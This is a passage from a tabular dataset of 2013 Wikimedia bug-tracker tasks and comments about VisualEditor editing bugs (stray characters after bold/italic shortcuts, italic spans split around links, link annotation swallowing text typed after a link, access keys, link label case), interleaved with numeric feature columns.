click CTRL-I and type some characters; 

* often but not always reproducible, seen in Chrome/OSX, also reported in IE and FF: upon typing after ctrl-B or ctrl-I for ""bold"" or ""italic"", characters appear that have not been entered.  see screen shot

* possibly related, seen but not reproducible:  some combination of actions will cause VE to type a string into a page over and over and over without any action on the part of the user.  I'll file a new bug if I can figure out how to repron that behavior.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11070}",High,80.0,1367863980,1371781126.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-zoij2t4he6jsr6wfqjde,task_description,resolved,True,c1,1,False,False,True,-8,,2.0,0.0,0.0,0.5,1.5,5.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,1.0,0.0,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.0,0.5,10.5,2.0,5.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,2.0,0.0,2.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,3.541666666666667,0.6666666666666667,"unexpected untyped characters

Upon loading page in VE: 

Click CTRL-B and type some characters; 
click CTRL-I and type some characters; 

* often but not always reproducible, seen in Chrome/OSX, also reported in IE and FF: upon typing after ctrl-B or ctrl-I for ""bold"" or ""italic"", characters appear that have not been entered.  see screen shot

* possibly related, seen but not reproducible:  some combination of actions will cause VE to type a string into a page over and over and over without any action on the part of the user.  I'll file a new bug if I can figure out how to repron that behavior.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11070}"
232786,VisualEditor: Unexpected non-pawn characters appear after CTRL-B and CTRL-I,I believe we fixed this with the new insertion logic last week. Please re-open if you can reproduce still.,,,1371781126,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zoij2t4he6jsr6wfqjde,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8260869565217392,0.9565217391304348,I believe we fixed this with the new insertion logic last week. Please re-open if you can reproduce still.
232782,VisualEditor: Unexpected non-pawn characters appear after CTRL-B and CTRL-I,@James: Feel free to assign to me.,,,1367864226,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zoij2t4he6jsr6wfqjde,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,SCREEN_NAME: Feel free to assign to me.
50159,VisualEditor: Pre-annotations not working in spans,"From this bug report on parsoid.wmflabs.org: /mnt/bugs/2013-05-04T01:11:28.439Z-Style_guide%252FAssets_and_gallery

""I typed some text in this paragraph that is styled as a span italic, and VE decided to close and reopen the span on either side of the link. I think that happened before I made the text a link. (This is User:S Page (WMF) here.)""

Relevant diff line below:

− 	
:<span style=""font-style: italic;"">See Also: [[Commons:Category:MediaWiki style guide]]</span>

+ 	
:<span style=""font-style: italic;"">See also: </span>[[Wikimedia Foundation Design/Agora Icon Set]] and<span style=""font-style: italic;""> [[Commons:Category:MediaWiki style guide]]</span>

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1367852460,1369247921.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_description,resolved,True,c1,1,True,False,True,-8,,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,4.5,0.0,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,15.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.5,1.0,14.5,0.0,2.0,5.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.5,4.5,16.0,0.0,1.5,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,5.5,3.9698795180722892,0.5783132530120482,"From this bug report on parsoid.wmflabs.org: /mnt/bugs/2013-05-04T01:11:28.439Z-Style_guide%252FAssets_and_gallery

""I typed some text in this paragraph that is styled as a span italic, and VE decided to close and reopen the span on either side of the link. I think that happened before I made the text a link. (This is User:S Page (WMF) here.)""

Relevant diff line below:

− 	
:<span style=""font-style: italic;"">See Also: [[Commons:Category:MediaWiki style guide]]</span>

+ 	
:<span style=""font-style: italic;"">See also: </span>[[Wikimedia Foundation Design/Agora Icon Set]] and<span style=""font-style: italic;""> [[Commons:Category:MediaWiki style guide]]</span>

--------------------------
**Version**: unspecified
**Severity**: minor"
232265,VisualEditor: Pre-annotations not working in spans,"(In reply to comment #3)
> Can you explain more clearly how this is still broken? What do you mean by
> pre-annotation?

On re-testing, this comes down to copy-and-paste inserted content not continuing the existing annotations of the styles into which it had been inserted. Marking as such.

*** This bug has been marked as a duplicate of bug 48720 ***",,,1369247921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.4545454545454546,0.7272727272727273,"(In reply to comment #3)
QUOTE
QUOTE

On re-testing, this comes down to copy-and-paste inserted content not continuing the existing annotations of the styles into which it had been inserted. Marking as such.

*** This bug has been marked as a duplicate of bug 48720 ***"
232256,VisualEditor: Pre-annotations not working in spans,Can you explain more clearly how this is still broken? What do you mean by pre-annotation?,,,1369221776,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,3.75,0.9,Can you explain more clearly how this is still broken? What do you mean by pre-annotation?
232250,VisualEditor: Pre-annotations not working in spans,"OK, we've fixed the secondary issues I was having; have narrowed down the original bug to pre-annotations not being applied to the insertion of text into this context - changing this to suit.",,,1368719960,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.076923076923077,0.8461538461538461,"OK, we've fixed the secondary issues I was having; have narrowed down the original bug to pre-annotations not being applied to the insertion of text into this context - changing this to suit."
232247,VisualEditor: Pre-annotations not working in spans,"I think that this partially interacts was a bug that Ed found independently - bug 48110 (now fixed in master). I do not get the span adjusted, but instead get:

:<span style=""font-style: italic;"">See Also: <a href=""Wikimedia_Foundation_Design%2FAgora_Icon_Set"" rel=""mw:WikiLink"">Wikimedia Foundation Design/Agora Icon Set</a> and [[Commons:Category:MediaWiki style guide|<nowiki/>]]<a href=""Commons%3ACategory%3AMediaWiki"" rel=""mw:WikiLink"">Commons:Category:MediaWiki</a> style guide</span>

... which is a total mess.",,,1367876474,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wiwrmd5v2ykgptbszxoc,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,2.0,18.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,2.0,20.0,0.0,2.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,5.1208791208791204,0.6923076923076923,"I think that this partially interacts was a bug that Ed found independently - bug 48110 (now fixed in master). I do not get the span adjusted, but instead get:

:<span style=""font-style: italic;"">See Also: <a href=""Wikimedia_Foundation_Design%2FAgora_Icon_Set"" rel=""mw:WikiLink"">Wikimedia Foundation Design/Agora Icon Set</a> and [[Commons:Category:MediaWiki style guide|<nowiki/>]]<a href=""Commons%3ACategory%3AMediaWiki"" rel=""mw:WikiLink"">Commons:Category:MediaWiki</a> style guide</span>

... which is a total mess."
50114,VisualEditor: [Regression] Link insertion annotation makes it difficult to add plain text after a link,"If you add a link to the last word in your paragraph (quite common I'd imagine if you're in the middle of typing a sentence), the insertion annotation behaviour makes any text typed after the link part of that link - which in most cases is not what you meant to do.

Insertion annotations make sense for text style annotations, but not link annotations. This is what Google Docs & LibreOffice do aswell.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367794320,1368373764.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-hwpwpa3athddhod7xlp4,task_description,resolved,True,c1,1,True,False,True,-9,,0.5,0.0,0.0,0.0,2.0,3.5,0.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,2.5,6.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.5,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.5,1.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,8.0,1.0,2.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.0,6.5,3.0,0.0,0.0,0.0,3.0,0.0,2.5,1.0,0.0,0.5,0.0,0.5,0.0,4.0019607843137255,0.7319607843137255,"If you add a link to the last word in your paragraph (quite common I'd imagine if you're in the middle of typing a sentence), the insertion annotation behaviour makes any text typed after the link part of that link - which in most cases is not what you meant to do.

Insertion annotations make sense for text style annotations, but not link annotations. This is what Google Docs & LibreOffice do aswell.

--------------------------
**Version**: unspecified
**Severity**: normal"
229698,VisualEditor: [Regression] Link insertion annotation makes it difficult to add plain text after a link,Fixed by https://gerrit.wikimedia.org/r/#/c/62481/,,,1368373764,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-hwpwpa3athddhod7xlp4,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
229688,VisualEditor: [Regression] Link insertion annotation makes it difficult to add plain text after a link,"This is a regression - it used to be that there were two types of annotations - one (bold/italics/etc.) would pre-annotate over word breaks, and the other wouldn't. I believe that the code to do this used to sit in CE - has it been removed, or is it not working somehow?",,,1367808687,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hwpwpa3athddhod7xlp4,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,2.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,12.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,5.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,12.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,3.3181818181818183,0.7727272727272727,"This is a regression - it used to be that there were two types of annotations - one (bold/italics/etc.) would pre-annotate over word breaks, and the other wouldn't. I believe that the code to do this used to sit in CE - has it been removed, or is it not working somehow?"
50107,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab","Currently we steal all the things on action=edit for veaction=edit (so Ctrl-Option-e goes to VisualEditor, leaving nothing for the wikitext editor). We should add a new one - Ctrl-Option-s (for *s*ource) - though that's used for save in the wikitext editor, which is a bit odd. Ideas?

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1367769060,1368232252.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-uhuq2co3arbcvjn3js5m,task_description,resolved,True,c1,1,True,False,True,-9,,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,11.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,9.0,6.0,1.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.5113636363636362,0.6477272727272727,"Currently we steal all the things on action=edit for veaction=edit (so Ctrl-Option-e goes to VisualEditor, leaving nothing for the wikitext editor). We should add a new one - Ctrl-Option-s (for *s*ource) - though that's used for save in the wikitext editor, which is a bit odd. Ideas?

--------------------------
**Version**: unspecified
**Severity**: minor"
229294,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab",Fixed in master.,,,1368232252,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uhuq2co3arbcvjn3js5m,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Fixed in master.
229288,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab",Related URL: https://gerrit.wikimedia.org/r/63231 (Gerrit Change I598177bc75ed84dea35952a3b2b1b2111aac89b2),,,1368223225,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uhuq2co3arbcvjn3js5m,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I598177bc75ed84dea35952a3b2b1b2111aac89b2)
229281,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab","Change of plans:
* Leave -e for the wikitext editor tab
* Add -v for the VisualEditor tab",,,1368209183,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uhuq2co3arbcvjn3js5m,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.7619047619047619,"Change of plans:
* Leave -e for the wikitext editor tab
* Add -v for the VisualEditor tab"
50060,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"I changed a link here: http://sv.wikipedia.org/w/index.php?title=Intellektuell_s%C3%A4rbeg%C3%A5vning&diff=21539781&oldid=21539483

In the VisualEditor interface, the word ""Känsla"" is showed with a lower case k, but when you are looking at the article, or source it is K.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367618160,1368631481.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_description,resolved,True,c1,1,False,False,True,-9,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,14.0,2.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,0.0,3.0,0.0,5.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,0.0,3.586206896551724,0.6896551724137931,"I changed a link here: URL

In the VisualEditor interface, the word ""Känsla"" is showed with a lower case k, but when you are looking at the article, or source it is K.

--------------------------
**Version**: unspecified
**Severity**: normal"
226504,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"(In reply to comment #4)
> As we're generating the correct HTML surely this is just a Parsoid bug, not a
> VE bug.

Yeah, point.

*** This bug has been marked as a duplicate of bug 48477 ***",,,1368631481,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,0.7428571428571429,"(In reply to comment #4)
QUOTE
QUOTE

Yeah, point.

*** This bug has been marked as a duplicate of bug 48477 ***"
226501,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"As we're generating the correct HTML surely this is just a Parsoid bug, not a VE bug.",,,1368628645,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.45,0.9,"As we're generating the correct HTML surely this is just a Parsoid bug, not a VE bug."
226497,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],Depends on a Parsoid regression being fixed.,,,1368574562,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Depends on a Parsoid regression being fixed.
226493,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"I just hit the same again.

* Text ""foo"".
* Link it, page ""Foo"" exists.
* Close link editor.
* Page shows ""text <a href=""./Foo"">foo</a> text"".
* Saving turns it into [[Foo]], thus ignoring the case of the label.",,,1368573811,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,2.0,0.0,9.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,9.0,2.78125,0.609375,"I just hit the same again.

* Text ""foo"".
* Link it, page ""Foo"" exists.
* Close link editor.
* Page shows ""text <a href=""./Foo"">foo</a> text"".
* Saving turns it into [[Foo]], thus ignoring the case of the label."
226489,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"Thank y(In reply to comment #0)
> I changed a link here:
>
> http://sv.wikipedia.org/w/index.php?diff=21539781&oldid=21539483
> 
> In the VisualEditor interface, the word ""Känsla"" is showed with a lower case
> k, but when you are looking at the article, or source it is K.

